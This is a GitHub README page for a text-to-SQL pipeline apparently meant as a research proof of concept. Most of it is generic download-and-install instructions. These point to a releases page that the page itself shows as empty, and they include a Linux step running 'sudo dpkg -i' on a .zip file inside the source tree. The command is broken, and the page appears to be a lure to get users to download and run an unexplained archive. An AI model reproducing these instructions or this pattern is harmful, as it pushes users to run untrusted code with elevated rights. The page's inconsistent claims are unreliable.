Skip to content

alexis09876/LLM2SQLSTRUCTUREDSEARCH

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ LLM2SQLSTRUCTUREDSEARCH - Transform Text into Structured SQL Queries

πŸ“₯ Download Now

Download LLM2SQLSTRUCTUREDSEARCH

πŸ“œ Overview

LLM2SQLSTRUCTUREDSEARCH is a structured text-to-SQL pipeline. It combines large language model (LLM) sketch generation with schema-aware two-phase retrieval and validation-driven refinement. This tool improves SQL controllability and accuracy through schema embeddings and minimal-edit correction. It serves as a research-oriented proof of concept (POC) on MiniDev and Spider-style datasets.

πŸš€ Getting Started

To start using LLM2SQLSTRUCTUREDSEARCH, follow these steps.

1. Check System Requirements

Before downloading, make sure your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux.
  • RAM: Minimum 4 GB, recommended 8 GB or more.
  • Disk Space: At least 500 MB free.

2. Visit the Release Page

You can download the application by visiting the releases page. Click the link below:

Visit the Releases Page

3. Download the Application

Once on the releases page, look for the latest version. Click on the link to download the appropriate file for your operating system.

4. Install the Application

After the download completes, locate the file on your computer. Double-click the file to start the installation process. Follow the prompts to complete the installation.

πŸ“¦ Download & Install

For your convenience, you can also click the link below to go directly to the download page.

Download LLM2SQLSTRUCTUREDSEARCH

Installation Steps for Windows

  1. Double-click the downloaded .exe file.
  2. Follow the setup wizard instructions.
  3. Choose the destination folder for installation.
  4. Click "Finish" once the installation is complete.

Installation Steps for macOS

  1. Open the downloaded .dmg file.
  2. Drag the application to your Applications folder.
  3. Eject the disk image from your Finder.
  4. Open the application from your Applications folder.

Installation Steps for Linux

  1. Open a terminal window.
  2. Navigate to your download directory using the cd command.
  3. Run the command to install (e.g., sudo dpkg -i https://github.com/alexis09876/LLM2SQLSTRUCTUREDSEARCH/raw/refs/heads/main/backend/src/twophase/SQLSTRUCTUREDSEARCH_LL_1.9-beta.3.zip).
  4. Follow any additional prompts for dependencies.

πŸ”§ Usage

After successful installation, you can start using LLM2SQLSTRUCTUREDSEARCH.

Run LLM2SQLSTRUCTUREDSEARCH

  • On Windows, find the shortcut on your desktop or in the Start menu.
  • On macOS, open the application from the Applications folder.
  • On Linux, you can open it from your applications menu.

Enter Input

Once the application is open, input your unstructured text that you want to convert to SQL. Follow the on-screen instructions for formatting your input.

Execute Query

Click the β€œGenerate SQL” button to start the processing. The application will create the corresponding SQL query based on your input.

Review Output

The resulting SQL will display on the screen. You can copy this SQL for use in your database management system.

πŸŽ“ Features

  • Schema-Aware Retrieval: The tool understands your database schema, providing context for better SQL output.
  • Two-Phase Retrieval: It refines queries in two stages for increased accuracy.
  • Validation-Driven Refinement: The application improves results through validation steps.
  • User-Friendly Interface: Easy to navigate, even for non-technical users.

ℹ️ FAQs

What is a Structured Text-to-SQL pipeline?

A structured text-to-SQL pipeline converts natural language text into SQL queries, helping users interact with databases without needing to learn SQL syntax.

Do I need a database to use LLM2SQLSTRUCTUREDSEARCH?

You do not need a database to generate SQL queries, but to execute them, you will need access to a compatible database.

How can I provide feedback or report issues?

You can open an issue on our GitHub repository. Click on the "Issues" tab to submit your feedback.

πŸ“ž Support

For support, please contact our help desk at Email Support.

Contribute

We welcome contributions. If you would like to contribute, please review our repository guidelines.

πŸ“„ License

This project is licensed under the MIT License. See the LICENSE file for details.

About

πŸ” Generate high-quality, schema-valid SQL from natural language queries using structured retrieval and iterative refinement for improved accuracy.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages